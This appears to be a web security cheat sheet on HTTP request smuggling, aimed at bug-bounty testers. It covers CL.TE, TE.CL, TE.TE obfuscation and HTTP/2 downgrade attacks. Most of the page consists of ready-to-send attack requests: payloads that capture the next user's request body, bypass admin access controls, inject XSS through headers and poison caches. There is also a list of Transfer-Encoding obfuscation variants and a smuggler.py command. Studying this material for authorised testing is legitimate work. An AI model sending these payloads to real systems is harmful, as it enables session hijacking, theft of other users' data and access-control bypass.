Skip to content
Web Security

HTTP Request Smuggling

CL.TE, TE.CL, and HTTP/2 downgrade attacks for real-world exploitation

Core Concept

TEXT
Front-end (CDN/Proxy) and Back-end disagree on request boundaries:
- Content-Length (CL): Specifies body length in bytes
- Transfer-Encoding (TE): Uses chunked encoding

When they prioritize different headers → smuggling possible

Detection

CL.TE Detection (Front-End Uses CL, Back-End Uses TE)

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

Expected: Request times out (back-end waiting for next chunk)
If timeout: CL.TE likely vulnerable

TE.CL Detection (Front-End Uses TE, Back-End Uses CL)

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

1
Z
Q

Expected: Back-end sees extra data, causes timeout/error

Timing-Based Detection

TEXT
Normal request: ~100ms
Detection payload: ~10000ms (timeout)

If payload causes significant delay → vulnerable

CL.TE Exploitation

Basic Attack

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 35
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Foo: x

What happens:

  1. Front-end sees CL=35, forwards entire body
  2. Back-end sees TE=chunked, processes until "0\r\n"
  3. "GET /admin..." is left in buffer
  4. Next legitimate request gets prefixed with our smuggled request

Capture Next User's Request

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

data=

Result: Next user's request body is captured in data parameter

Access Control Bypass

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
X-Forwarded-For: 127.0.0.1
X-Original-Url: /admin

x

TE.CL Exploitation

Basic Attack

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 15

x=1
0

What happens:

  1. Front-end sees TE=chunked, processes chunks
  2. Back-end sees CL=4, only reads "5c\r\n"
  3. Rest is next request

XSS Injection

HTTP
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

87
GET /home HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0<script>alert(1)</script>
Content-Length: 20

x=
0


TE.TE (Obfuscation)

When both servers use TE, try to obfuscate so one ignores it:

Header Obfuscation

HTTP
Transfer-Encoding: chunked
Transfer-Encoding : chunked          
 Transfer-Encoding: chunked          
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
Transfer-Encoding
 : chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding:chunked            
Transfer-Encoding: chunked, identity

Newline Injection

HTTP
Transfer-Encoding: chunked

HTTP/2 Smuggling

H2.CL (HTTP/2 → HTTP/1.1)

TEXT
HTTP/2 request with :method POST
Include content-length header
Body size != content-length value

Front-end (HTTP/2) ignores CL
Back-end (HTTP/1.1) uses CLleftover data

H2.TE (HTTP/2 Prohibits TE, But Downgrade May Allow)

HTTP
:method: POST
:path: /
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: backend

CRLF Injection in HTTP/2 Headers

TEXT
:path: / HTTP/1.1\r\n
Host: ignored\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: backend

Real-World Exploitation Scenarios

Hijack User's Session

TEXT
1. Smuggle request that captures next request
2. User's cookies/auth headers captured
3. Session takeover

Cache Poisoning

TEXT
1. Smuggle request that returns XSS
2. Response cached by CDN
3. All users get XSS payload

Web Cache Deception via Smuggling

TEXT
1. Smuggle request for /private.css
2. Front-end caches response as static asset
3. Access cached private data

Bypass WAF

TEXT
1. WAF only inspects front-end view
2. Smuggled request bypasses WAF
3. Attack reaches back-end unfiltered

Testing Methodology

Step 1: Identify Infrastructure

TEXT
- CDN (Cloudflare, Akamai, AWS CloudFront)
- Load balancer
- Reverse proxy (Nginx, HAProxy, Apache)
- API gateway

Step 2: Test Detection Payloads

TEXT
1. CL.TE timing payload
2. TE.CL timing payload
3. TE.TE obfuscation variants
4. Check for delayed responses

Step 3: Confirm with Differential Response

TEXT
1. Send smuggle that should 404
2. Send normal request to existing page
3. If normal request gets 404 → confirmed

Step 4: Exploit

TEXT
1. Capture requests
2. Bypass access controls
3. Cache poisoning
4. XSS injection

Tools

Burp Suite

TEXT
- HTTP Request Smuggler extension
- Smuggle Scanner
- Turbo Intruder for confirmation

smuggler.py

BASH
python3 smuggler.py -u https://target.com

# With specific method
python3 smuggler.py -u https://target.com -m POST

Manual Testing

TEXT
1. Burp Repeater
2. Disable "Update Content-Length"
3. Send detection payloads
4. Watch for timeouts

Proof of Concept

Minimal Valid PoC

TEXT
1. Show two requests being merged
2. Demonstrate smuggled request execution
3. Capture another user's request (ethical)
4. Or show access control bypass

Documentation for Report

TEXT
- Exact request that triggers vulnerability
- Time delay evidence
- Differential response evidence
- Impact demonstration
- Affected infrastructure

Challenges and Tips

Hard to Reproduce

TEXT
- Use same connection for detection and exploit
- Try multiple times (race conditions)
- Account for connection pooling
- Test at off-peak hours

False Positives

TEXT
- Verify with differential responses
- Confirm smuggled request executes
- Make sure delay isn't just slow server

Bug Bounty Impact

TEXT
- Can you access admin functions?
- Can you poison cache?
- Can you capture other users' data?
- Can you bypass WAF for other attacks?
On this page